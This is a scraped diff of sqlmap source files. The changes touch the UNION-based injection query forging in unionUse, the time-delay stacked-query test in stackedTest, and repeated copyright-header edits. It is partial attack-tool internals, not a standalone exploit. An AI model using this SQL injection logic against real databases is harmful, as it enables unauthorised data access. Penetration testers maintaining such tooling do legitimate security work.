||||
else:
|
||||
conf.paramNegative = True
|
||||
|
||||
if conf.paramNegative == True and direct == False:
|
||||
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
|
|
@ -300,11 +219,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||
|
||||
else:
|
||||
# Forge the inband SQL injection request
|
||||
query = agent.forgeInbandQuery(expression)
|
||||
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
infoMsg = "query: %s" % query
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "query: %s" % query
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# Perform the request
|
||||
resultPage, _ = Request.queryPage(payload, content=True)
|
||||
|
|
@ -321,7 +240,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
|||
|
||||
duration = int(time.time() - start)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
||||
logger.info(infoMsg)
|
||||
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
return value
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
@ -26,24 +26,28 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||
|
||||
import time
|
||||
|
||||
from lib.core.common import getDelayQuery
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.settings import SECONDS
|
||||
from lib.core.session import setStacked
|
||||
from lib.request import inject
|
||||
|
||||
|
||||
def stackedTest():
|
||||
if kb.stackedTest != None:
|
||||
return kb.stackedTest
|
||||
|
||||
infoMsg = "testing stacked queries support on parameter "
|
||||
infoMsg += "'%s'" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].timedelay % SECONDS
|
||||
start = time.time()
|
||||
payload, _ = inject.goStacked(query)
|
||||
duration = int(time.time() - start)
|
||||
query = getDelayQuery()
|
||||
start = time.time()
|
||||
payload, _ = inject.goStacked(query)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= SECONDS:
|
||||
if duration >= conf.timeSec:
|
||||
infoMsg = "the web application supports stacked queries "
|
||||
infoMsg += "on parameter '%s'" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
|
@ -57,4 +61,6 @@ def stackedTest():
|
|||
|
||||
kb.stackedTest = False
|
||||
|
||||
setStacked()
|
||||
|
||||
return kb.stackedTest
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
|
|
@ -5,8 +5,8 @@ $Id$
|
|||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue